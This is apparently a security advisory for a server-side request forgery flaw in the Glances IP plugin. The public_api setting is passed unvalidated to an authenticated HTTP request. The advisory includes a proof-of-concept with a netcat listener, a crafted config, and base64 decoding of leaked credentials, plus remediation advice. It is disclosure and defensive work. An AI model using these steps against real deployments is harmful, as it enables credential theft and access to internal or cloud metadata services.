| Package | Affected versions | Patched versions |
|---|---|---|
| glances | < 4.5.4 | 4.5.4 |
| glances | < 4.5.4 | 4.5.4 |
A Server-Side Request Forgery (SSRF) vulnerability exists in the Glances IP plugin due to improper validation of the public_api configuration parameter. The value of public_api is used directly in outbound HTTP requests without any scheme restriction or hostname/IP validation.
An attacker who can modify the Glances configuration can force the application to send requests to arbitrary internal or external endpoints. Additionally, when public_username and public_password are set, Glances automatically includes these credentials in the Authorization: Basic header, resulting in credential leakage to attacker-controlled servers.
This vulnerability can be exploited to:
Access internal network services (e.g., 127.0.0.1, 192.168.x.x) Retrieve sensitive data from cloud metadata endpoints (e.g., 169.254.169.254) Exfiltrate credentials via outbound HTTP requests
The issue arises because public_api is passed directly to the HTTP client (urlopen_auth) without validation, allowing unrestricted outbound connections and unintended disclosure of sensitive information.
The vulnerability exists in the Glances IP plugin where the public_api configuration value is used to fetch public IP information. This value is read directly from the configuration file and passed to the HTTP client without any validation.
Root Cause In glances/plugins/ip/init.py, the public_api parameter is retrieved from configuration and later used to initialize a background thread responsible for making HTTP requests:
self.public_api = self.get_conf_value("public_api", default=[None])[0]
self.public_ip_thread = ThreadPublicIpAddress(
url=self.public_api,
username=self.public_username,
password=self.public_password,
refresh_interval=self.public_address_refresh_interval,
)
There is no validation performed on:
The request is executed via urlopen_auth() in glances/globals.py:
def urlopen_auth(url, username, password, timeout=3):
return urlopen(
Request(
url,
headers={
'Authorization': 'Basic ' +
base64.b64encode(f'{username}:{password}'.encode()).decode()
},
),
timeout=timeout,
)
This function:
SSRF via public_api (Glances IP Plugin) Prerequisites Glances installed Two terminals Start listener (Terminal 1)
Running one of these products? Scan your site to see whether it exposes a vulnerable version.
Scan my site freenc -lvnp 9999Step 2 Create malicious config (Terminal 2)
mkdir -p ~/.config/glances
cat > ~/.config/glances/glances.conf << 'EOF' [ip] public_disabled=False public_api=http://127.0.0.1:9999/ssrf-poc public_username=apiuser public_password=S3cr3tP@ss EOF
Step 3 Start Glances
glances --webserver
Step 4 Observe SSRF request (Terminal 1)
GET /ssrf-poc HTTP/1.1 Host: 127.0.0.1:9999 User-Agent: Python-urllib/3.x
Authorization: Basic YXBpdXNlcjpTM2NyM3RQQHNz
Step 5 Decode leaked credentials
echo "YXBpdXNlcjpTM2NyM3RQQHNz" | base64 -d
Output:
apiuser:S3cr3tP@ss
Step 6 Confirm data via API
curl -s http://127.0.0.1:61208/api/4/ip
{
"address": "**.***.***.***",
"mask": "255.255.255.0",
"mask_cidr": 24
}
This vulnerability allows an attacker to control outbound HTTP requests made by the Glances IP plugin via the public_api configuration parameter.
Server-Side Request Forgery (SSRF): The application can be forced to send requests to arbitrary endpoints, including internal services and localhost. Credential Leakage: When public_username and public_password are configured, they are automatically sent in the Authorization: Basic header to any target defined in public_api, exposing credentials to attacker-controlled servers. Internal Network Access: The vulnerability enables access to internal resources such as: 127.0.0.1 (localhost services) Private network ranges (192.168.x.x, 10.x.x.x, 172.16.x.x) Cloud Metadata Exposure: The application can be directed to query cloud metadata endpoints such as: http://169.254.169.254/ potentially exposing sensitive credentials (e.g., IAM tokens in cloud environments) Data Injection / Manipulation: Responses from attacker-controlled servers are accepted and stored by Glances, then exposed via /api/4/ip, allowing injection of arbitrary data into the application.
Vulnerability Location
The issue originates from how the public_api configuration value is handled and used without validation.
1. Source of user-controlled input
File: glances/plugins/ip/init.py
(around lines ~64–82)
self.public_api = self.get_conf_value("public_api", default=[None])[0] self.public_username = self.get_conf_value("public_username", default=[None])[0] self.public_password = self.get_conf_value("public_password", default=[None])[0] public_api is fully user-controlled via configuration
No validation is applied at this stage
2. Missing validation before usage
self.public_disabled = ( self.get_conf_value('public_disabled', default='False')[0].lower() != 'false' or self.public_api is None or self.public_field is None )
Only checks if the value is None
No validation of:
3. Vulnerable sink (critical point)
self.public_ip_thread = ThreadPublicIpAddress( url=self.public_api, # ← user-controlled input username=self.public_username, password=self.public_password, refresh_interval=self.public_address_refresh_interval, )
The user-controlled public_api is passed directly into a network request
This is the SSRF entry point
4. Unsafe HTTP execution
File: glances/globals.py
(around lines ~360+)
def urlopen_auth(url, username, password, timeout=3): return urlopen( Request( url, # ← no validation at all headers={ 'Authorization': 'Basic ' + base64.b64encode(f'{username}:{password}'.encode()).decode() }, ), timeout=timeout, )
A user-controlled configuration value (public_api) is passed directly into an HTTP request without validation of scheme or destination, resulting in SSRF and credential leakage.
Recommendation The fix must be applied before the URL is used, specifically in the IP plugin (init.py).
1. Enforce scheme restrictions Allow only: http https Reject: file:// gopher:// ftp:// any non-HTTP protocol
This prevents protocol abuse and local file access
2. Validate destination host Resolve the hostname to an IP address Check the resolved IP against restricted ranges
Block if the IP is:
Loopback → 127.0.0.0/8 Private → 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16 Link-local → 169.254.0.0/16 (cloud metadata services)
This prevents:
Internal network probing AWS/GCP/Azure metadata access localhost abuse
3. Enforce validation before thread creation
The validation must occur before initializing:
ThreadPublicIpAddress(...) If validation fails: Disable the plugin Do not send any request
4. Trust boundary clarification urlopen_auth() is a low-level utility It should not be responsible for validation
The caller (IP plugin) must ensure:
Only safe, external URLs are passed
Why This Fix Works Scheme validation blocks protocol-based attacks IP validation blocks internal and cloud targets Combined, they eliminate the SSRF attack surface while preserving legitimate use cases (public IP APIs)